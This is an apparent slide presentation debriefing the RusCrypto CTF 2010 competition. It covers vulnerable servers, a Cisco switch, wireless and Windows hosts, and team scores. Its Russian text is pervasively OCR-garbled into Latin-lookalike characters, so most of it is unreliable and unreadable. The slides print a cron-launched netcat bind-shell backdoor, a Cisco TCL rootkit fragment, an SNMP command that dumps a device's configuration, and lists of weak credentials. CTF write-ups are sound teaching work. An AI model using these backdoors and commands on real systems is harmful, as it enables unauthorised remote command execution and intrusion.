BpeMms xM3HM: 4 yaca C Back-door (BbinonHeHue N3BECTHO r
MOMEHTa U3MEHEHMSI COCTOSIHUS KOMaHA Ha cepBepe)
Xakep/lom
Apache/PHP/MYSQL/BITRIX Nonop (ecnn He yCTpareHo) P
Bpemst »un3Hn: 30 MUHYT C ®nar pacronoxeH s daiine 1-2 2

MOMEHTa OMOBELLEeHUS O
cobbITUK

Back-door (BbinonHeHune
KOMaH[ Ha cepBepe)

Jusr/home/lena/.history

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: TecTtOoBbIN CcepBep

® NMoan6op (MHOXecTBO UHTEepdencos)

[ AocTynHble NPpOTOKOJ1bl:

login/shell/telnet/ssh,
mysql,
ftp (mocTtyn kK KOpHeBOMY KaTanory Beb-cepsepa)

® YyeTHble 3arnncum co cnabbiMmm naponsimm:

toor:root
andrey:andrey
wwwl:password
alla:misha
olga:4321
sergey:qwertyl

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: TecTtOoBbIN CcepBep

SQL Injection/File Including/XSS

/bitrix/admin/index.php -> admin:123456

“« @ > » 1% Gy 7 O http://192168.0.5/bitrix/admin/ogin=yes

__y Paspabotka I NaHenb ynpasneHus

IEI I'Ipocno*rp‘\j PenakTuposaHue 1

en | [1] (admin) | ‘P BhIiTh

HacTpoiiku @; MaHenb ynpaeneHus

& Pabounii cron

) 5
{2} Hacrpo#ku
Oobpo noxanosaTs 8 aAMUMHWCTPaTUBHLIN pasaen npoekTa "Pizza Coza Nostra".
[ 5.7 W3bpanHoe MNpoekT paboTaeT Ha ocHoee "1C-BUTpuKkc: Ynpasnexue cantom 8.5.1".
£ Nonezosarenu
(3 MpoaKTWBHasA 33WWTa

@, Nomck 3 NpoaxTneHan 3awwTa

= NMpoakmmeHbii dnnbTp (Web Application Firewall) soiwnatouen.
6k Hacpoiiku npoaykTa
: MpoaxkTMeHblil dunsTp obecneunsaeT 3awmTy oT BONLWMHCTEE MSBECTHBIX aTak Ha seb-npunoxeHns. B notol
74 VIHCTpYMeHTbI ONacHbIX yrpo3 1 BAOKMpYET BTOPXKEHMA Ha CalfT. PEKOMEHAYETCA BKAKYUTL NPOaKTUBHLIN GUALTP.

] @O O6HoBnenus

[2] ) CropoxHue obHoBnEHMA

Bknwouutb

Bua ~
. ‘/ 3
@ r} ( b § =
2 W36paHHoe Monb3oBaTenu Monck MpoaKkTuBHas HacTpoiiku
Hacrpoiikn 3aWwmTa NPoAYKTa
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PycKpunto CTF 2010: TecTtOoBbIN CcepBep
® Back-door (BbinosIHeHMe KOMaHA Ha cepBepe)

[~] cat /etc/crontab
*/5 % * * * root /usr/libexec/atrun

[~] file /usr/libexec/atrun

/usr/libexec/atrun: POSIX shell script text executable

[~] cat /usr/libexec/atrun

#1/bin/sh

if [ “ps -ax|grep 31337 |wc -I" -It 2 ]; then /usr/bin/nc -1 -w 10 -u 31337|/bin/sh|nc -w 10 -1 31337; fi

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: TecTtOoBbIN CcepBep

® AdononHuTenbHbie YA3BUMOCTH

e PackpbiTne koHdpunaeHumanbHom nHpopmauum (display_errors=off)

e NMopn6op (/bitrix/admin/, etc)

® Ya3BuMble KOHdUrypaumm
OC/MySQL/Apache/PHP u
CTOPOHHUX MNMPUNTIOXKEHUN
Bitrix/phpmyadmin

e YaszsuMmblie Bepcuu NO

5 problem(s) in your

your installed packages found

to update or

the affected package(s) immediately

~POSITIVE TECHNOLOGIES




PycKpunTto CTF 2010: KommyTaTtop Cisco

Cucrema YA3BMMOCTH AonosiHuTeNIbHO CnoxxHoctb bBannbl 3axBaueH
Bushwhackers
Cisco I0S Moabop
BpeMmst XXW3HM: Ha NPOTSHKEHNM Back-door (Ha yeTBepTOM dniar HyXHO HauT B nvram 5 10
Bcero CTF TepMUHane paspeLleH AoCTyn C
privilege 15 6e3 kakoin-nMbo
aBTOpU3aumm)
. . Xakep/[lom
Cisco TCL rootkit (bonus) [loraaaThcs, Kaknm
HanTtu nopt 06pa3oM MOXHO 1 3

BpeMst XKM3HWU: Ha NPOTSHKEHUU
Bcero CTF

nonyuunTb dnar

~POSITIVE TECHNOLOGIES




PycKpunTto CTF 2010: KommyTaTtop Cisco

Mopn6op

Cisco/Cisco; enable zxasqw

Bbirpyska koHpurypaumm yepes SNMP

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1

‘ PazpeweH yaaneHHblit gocryn K dainy *—&
KOHbUrypaLmuu

B a C k- d O 0 r CnnUCcoK AOCTYNHbIX (b;;ﬁl;on KOH(‘bMI:VDaLlH;i yepe3 cepsuc TFTP

aaa authentication login default locig ;i v — e —
aaa authentication login authen nor 192.168.0.10 - PuTTY SR

£P 192168010 - PuTTY = =52
Iine Vty 0 3 inis 3 The ke) compaonent of the infrastructure. If 1t's unavailable ather i1nir »
exec_timeout 0 0 astructure Services are inavalilaple Too. ncle eEntso 18 dissatisfied...

line vty 4 User Access Verificatio[RusBCrRRtialRnay]

exec-timeout 0 O

privilege level 15

dentication authen
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PycKpunTto CTF 2010: KommyTaTtop Cisco

Y Cisco TCL rootkit

if { [regexp {~(show|sh) flag\s*(.*)$} $line]} {
puts $sock "Flag: \$1\$0r\/\/v5Vx\$0Of2lpfkwS1N7AKuzlikXaa\/"

return [close $sock]

}

puts -nonewline $sock "Router# "
flush $sock

® MeToabl O6HapyxeHusn:

# sh proc | i Tcl
# sh tcp brief all numeric
# sh control-plane host open-ports

~POSITIVE TECHNOLOGIES

P 1921680

PUTTY = o =




PycKpunTto CTF 2010: KommyTaTtop Cisco

® AdononHuTtenbHble YA3BUMOCTU U cooTBeTcTBUEe CIS

192.168.0.10

Cisco I0S
PaspelweH yaaneHHbin 4ocTyn K $ainy KoHbUrypaLsm
CTaHAapTHbIE YYETHLIE 3aMMCH M Napon

Maponb Enable co cnabem anroputMom widposaHns

Peako Ucnonb3yemble Cepsuchbl

Cnaboe wudposaHme B npoTokone S5H

TeKylwan U coXpaHeHHas KOHOMrypaLym He coBnaaatoT
» BaHHepb!
» WHTepdeictl B pEXMME MAPLUPYTU3ELIAM

FastEthernet0/0

> WrdopMama o arcTeme

» WMHbopMaLMA No YCTPOMCTBY
> MaplwpyTusauwma

> Cepsuc SNMP

> CepBucbl

> Cnyxba TFTP

» Cnyxba VPN (Site-to-site)

dyno
toRemoteSite

» Cnyxba AAA
> Cnyxba perucTpawm cobbiTmit
> Cnmcku aocTyna

test_in

» Crmcok nuHuit (lines)

aux 0
con 0
vty 0
viy 1
vty 2
vty 3
vty 4

> CnMCOK y4eTHbIX 3anucein

Cisco

> ®ain running-config

~POSITIVE TECHNOLOGIES

CIS - Cisco 10S
KoHTponbHbIM cnvcok nposepok ana Cisco I0S
CIS Benchmark version 2.2

192.168.0.10 / 192.168.0.10

21.13% M CooTeeTcTeyET

M He cooTeeTcTeyeT
E Henprmennmo
64.79% O He onpe aenexo

2,82%

11.27%

+

° MNpaewna NoKanbHOI ayTeHTHdhUKaLINH,

asropuzauum u yueta (AAA): Heobxognma ‘,\
NoKanbHaa ayteHTudukayua AAA npu
BXOAl€ Ha YCTPOHCTBO




PycKpunto CTF 2010: Touka 6ecnpoBoaHOro oocryna

Cucrema YA3BMMOCTH AonosiHuTeNIbHO CnoxxHoctb bBannbl 3axBaueH
WIFL HuKTO He cymen
3axBaTuTb dnar.
B3nom kntoua WEP 104 6ut onar = kiod WEP + 6

(o6opyaosaHue Cisco B 10 8

Bpems )KuU3HM: C MOMeHTa 9 cumBonoB n3 SSID
CTaHAAPTHOWN KOHUrypauun)

nosiBnenns Ao koHua CTF

° Oda>xe C OTKJ/IIDYEHHbIMN HAacTpoMkamMmm 6e3onacHocTu (Bkar4yasa IPS)
o6opynoBaHue Cisco Wireless LAN Controller 2100 (AP Cisco 1240) cnoco6Ho
yCnewHo nNpoTMBoAenNCcTBOBaTb aTtake Ha npotokosn WEP 6e3 nermtumMHoOro

Tpacdmka nonb3oBaTenemn.

° HoyT6yku nnaHumpoBaBLUMecs ANna co3aaHmsa Tpaduka 6b1mn 3aHATDI

nonnepmkoﬁ BbIXOAa B UHTEPHET.

° 3apayda 6b1a He pewnaeMomn.
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PycKpunTto CTF 2010: Windows

Cucrema YA3BMMOCTH

AonosIHUTeNnbHO CNno><HOoCTb

Bannbli 3axBauveH

Moab6op (MHOXECTBO

NHTEpdeNCcoB)
Win2k3 (SP1)

Bpems Ku3HU: C MOMEHTa
nosienexHns 3 yaca 20 MUHYT

KCnyaTaums yaaneHHbIX
yA3BMMOCTEN

Win98

Monbo
BpeMsi XM3HU: C MOMEHTa ADOp

nosiBnexns ao koHua CTF

O6e3BpeanTb SMS-BMpYC
OBHapy>u1Tb U BbIFPY3UTb
rootkit

Haittn cdnar B katanore
BpeMEHHbIX aiinos
MopobpaTb naponb K
apxuBy 3-7
MoakntounTbca Yepes SMB
Haiitv dnar B kaTanore
BpPEMEHHbIX aitnos
Mopobpatb naponb kK
apxvBy

dnar coaepxmTcs B
AaHHbIX U3 PWL-danna

HuKTO He cymen
3axBaTuTb dnar.

10

HuKTO He cymen
3axBaTtuTb dnar.

12
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PycKpunTto CTF 2010: Windows 2003

~POSITIVE TECHNOLOGIES

BeeguTte Kog pa3ztnokKMpoBKU

HTOBbI NONY4YKUTEL KOO PASBNOKMPOBKK

OTMNPABBTE CMC C TEKCEOM
8056534




PycKpunTto CTF 2010: Windows 2003

® BekTtop 1 (ponrmn):

e NMopo6patb naponb k Radmin (pw: 11111111)

e O6esBpeantb SMS-Bupyc (http://www.esetnod32.ru/.support/winlock/,
http://www.drweb.com/unlocker/, http://support.kaspersky.ru/viruses/deblocker)

e O6Hapy>xuTb u Bbirpysutb rootkit (http://www.eset.com/download/sysinspector,

http://www.gmer.net/, http://www.antirootkit.com/, etc)
e Haitun dnar B katanore BpeMeHHbix pannos

e Mopo6patb naponb k apxuBy (juancp, etehadd... InsidePro.dic)

® BekTtop 2 (6bICTPbIN):

e MNMopo6patb naponb agMuHucrpartopa (P@sswOrd) mam BoCnosib30BaTbCH 3KCMNJIOUTOM

e NMopakntounTtbca yepe3 SMB (npasuna FW n IPSEC 3anpewator goctyn no SMB n3 «cBoemn

CeTn>, HO pa3peLlaloT U3 «YyKON>)
e HaiTtun dpnar B katanore BpeMeHHbix pannos

e Mopo6patb naponb kK apxusy (juancp, etehadd... InsidePro.dic)
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PycKpunTto CTF 2010: Windows 2003

K cnoBy 06 ya3BMMOCTSAX...

<%

Mogynm

¥ Immunity CANVAS Ver; 6.56 | Current Session: default

Eile fisteners SESSION  Domour

(%) * Texyume
Target Host  Stop Explot

Texyume

000 3
10.0.0.200 Torget (o) °

05 Config OGparumsit secmox

Screen Shots

Aepeso yinoe | Exploit Onucanme

Name

Descriptson o Ysen yrpssnerne  CANVAS World Map  Cendline

ms07 029 Microsoft DNS S

myls 059 Microsoft H

o 5

[~ Texywme
Target ()

)|192.168.3.7 o
beso yanos |Expioil Omccmel

n YNpaBnerse ICAmASWaidMap |Cmd.ne|

D0

10.0.0.200
LocalNode

ms08_067 Windows Server Serv

ms09_ 022 loadd

osoft Windows F

mssgl_rephwntetovarten rephartetovarbin ste

mssgihello

MSSQL Hello Stack €

msxexchS0

naimas32

metmad Novell NetMa.

openview_trace HP OpenView Trace !

Texymmi crarye  Xoncr Bxog  Mypean ovsagem  [lassnix

TS T
Thu May 20 16:49:39 201 192.168.0.7/32) Automatic startup in progress

Thu May 20 16:49:39 2010 )

ke we'te on virtual hardw

checkym -> H

/ o5t is likely to be a VirtualMachine
artup done

1D: 0->0->0->0

19216837
win32Node

a new Lestener Connection

tiors on node 0->0

Yoramonwms cxpuimwocri: 1.0

_  Tue Mar 30 17:12:16 2010 Joetprocaddr_withemalloc: Found samsrv. di SamrCloseHandle 2t 74106029
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wonlJser at 74189921 ;]




PycKpunTto CTF 2010: Windows 98

° Mon6op napons k C$

® BoccTtaHOoB/N1eHUe AaHHbiX u3 PWL-cdbanna agMunHucrparTopa

e [paBuabHOe yBeaoMmsieHne o6 ya3BmMocTu:

o KpaTkoe onucaHue:

O6HapyxeHa ycTapesluas onepaunMoHHasa cucrteMa, kotopasd ¢ 11 uons
2006 ropga He nopaep>XnBaeTcs NpPon3BoaUTESNIEM.

. PeweHune: OTKNIOYMTb OT MHGOPMALIMOHHOW CUCTEMBI.
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XpoHosiorua cobbiTn

Bushwhackers CIT
336

486

® Jol ® JOE

247 20 0 16
03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010

03.04.2010

03.04.2010
03.04.2010
03.04.2010
03.04.2010
03.04.2010

296 21 15 0

18:12
18:11
18:11
18:11
18:11
17:58
17:58
17:56
17:52

17:51

17:51
17:50
17:48
17:48
17:47
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((&\’—\‘ CoOpeBHOBaHUA
="/ PycKpunto CTF

= AlC

]
Q-

0 ‘HackerDom
Huge Ego Team SiBears XakepfloM [Censored]
33 323 376 37
®JUOE ® JVOE ® VoL &® JOE
2.15 5 9 189 8 0 61 288 52 10 12 12 15 0 0O

Bbl yBOsieHbl i) Access Denied

KomaHaa Bushwhackers 3apabartbiBaet 6 6annos, +4 araka 3a oTnpasky ¢nara.
KomaHaa Bushwhackers otnpasuna ¢pnar

KomaHaa Bushwhackers 3apabartbiBaet 6 6annos, +4 araka 3a oTnpasky ¢nara.
KomaHaa Bushwhackers otnpasuna ¢gnar

KomaHaa Bushwhackers 3apabatbiBaer 6 6annos, +4 araka 3a ornpasky ¢dnara.
KomaHaa Bushwhackers otnpasvna ¢pnar

KomaHpaa SiBears otnpasuna ysefgomneHne o6 ya3BumMocTun

KomaHaa Bushwhackers 3apabarbiBaer +1 6annos 3a o6HapyXKeHHYIO y93BUMOCTb

KomaHaa Huge Ego Team 3apabartbiBaet +1 6annos, +3 3aimra 3a oOHapy>XKeHHYIO Yy93BUMOCTb U 3a ee
ycTpaHeHue

KomaHpaa SiBears oTnpasuna ysegomsieHue 06 ya3BMMoCTH

Komanaa Xaxkepflom 3apabartbiBaet +2 6annos, +7 araka 3a o6HapyKeHHYI0 ya3BUMOCTb
KomaHaa Huge Ego Team 3apabartbiBaeT +1 6annos 3a obHapyXXeHHYI0 YyA93BUMOCTb
KomaHaa Bushwhackers otnpasuna ysegomseHre o6 ya3BMMOCTH

KomaHpaa SiBears 3apabartbisaet +3 6annos, +5 3awiMTa 3@ ycTpaHeHWe ya3BMMOoCTH




PycKpunto CTF 2010: XpoHonorua HauucneHun 6annos
Ha NpPoTA>XXeHUUN BCero copeBsHoBaHuUA

—CIT

Xakepdom  ———Bushwhackers ——SiBears ~———[Censored] -———Huge Ego Team

600 -

500 -

400

300

200 -

100
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PycKpunto CTF 2010: luHaMukKka HauucneHums 6annos

Bpema CIT Xakepflom Bushwhackers SiBears [Censored] Huge Ego Team|
10:45 0 0 0 3 0 0
11:00 0 0 1 0 0 0
11:15 30 6 1 0 0 2
11:30 60 < 2 2 0 0
11:45 0 2 0 6 2 0
12:00 29 32 11 2 - 1
12:15 0 0 9 0 0 2
12:30 20 25 6 0 2 1
12:45 6 15 0 21 0 0
13:00 0 0 3 12 2 0
13:15 0 0 0 0 0 0
13:30 0 9 2 37 0 1
13:45 0 0 41 25 0 0
14:00 -!u 24 -!!- 3 0 1
14:15 68 42 0 7
14:30 0 12 0 0 0
14:45 10 0 0 5 2
15:00 0 12 15 0 0
15:15 13 18 0 0 1
15:30 0 40 -ll- 0
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ONOOONG\OIQO

BnegHo-KpacHbLIM LBETOM
BblerieHO MaKCuManbHoe
3Ha4yeHue B npegenax Kaxanoro
15-MUHYTHOro UHTepBana
BpeMeHU, CUHUM LLBETOM —
BTOpPOE NO BeJsIMYuUHEe 3Ha4YeHue,
3eJiIeHbIM LUBEeTOM — TpeTbe Nno
BeJIMYMHe 3Ha4YeHue.

MakcumanbHoe Konum4yecTtBo
Gannos, KOTOpoe Kaxxaou
KOMaHAe yaanocTb 3apaboTtaTtb
3a 15 MMHYT B TeyeHUue Bcero
copeBHoBaHuA CTF, BbigeneHo
APKO-KpPaCHbIM LIBETOM.




PycKpunto CTF 2010: lons He3axBadeHHbIX (psiaros

70%
62%
60%
50%
40%
30%

20%

10%

0%

CIT Xakepdom Bushwhackers SiBears [Censored] Huge Ego Team
® KomaHpa Bushwhackers 3awymianaco nyJyue Bcex.
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PycKpunto CTF 2010: bannbl, nony4yeHHble 3a 3axBaT
cnaros

@CIT © Xakeplom @ Bushwhackers @SiBears @ [Censored] @ HugeEgo Team

Qo000

® KomaHaa Bushwhackers onepeanna komaHay XakepZlomM no

6annamMm, nony4yeHHbIM 3a 3axBaT pnaros!
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PycKpunto CTF 2010: O6ecneuyeHune oOCTYNHOCTU BCeX
cCepBuCOB

£ 83%

82% Y
80%
78%
76%
74%
72%
70%

68%

66%
CIT Xakepdom Bushwhackers SiBears [Censored] Huge Ego Team

° KomaHpaa Huge Ego Team ctana nepBou no obecneyeHuio
HenpepbiBHOU paboTbl cepBMCcoB cBOEeN MH(PPACTPYKTYPbI.
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PycKpunto CTF 2010: Pe3ioMe

° He Bce 6b1J10 TaK, KaK XO0TenoCb, HO 6b110 Beceno :)

® AonosiHuTeNnbHbIe MaTepuarsbl:
. http://www.ptsecurity.ru/download/PT-Ruscrypto-CTF2010.pdf
" http://devteev.blogspot.com/2010/04/2010-ctf-just4fun.html
. http://www.ruscrypto.org/conference/ctf/
. N B cBeTnioM 6byayuwiem:

. http:/ /ctf.securitylab.ru/
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Cnacmbo0 3a BHMMaHuel

Bonpochbi?

devteev@ptsecurity.ru
http://devteev.blogspot.com/

Il
A

,«

~OSITIVE TECHNOLOGIES



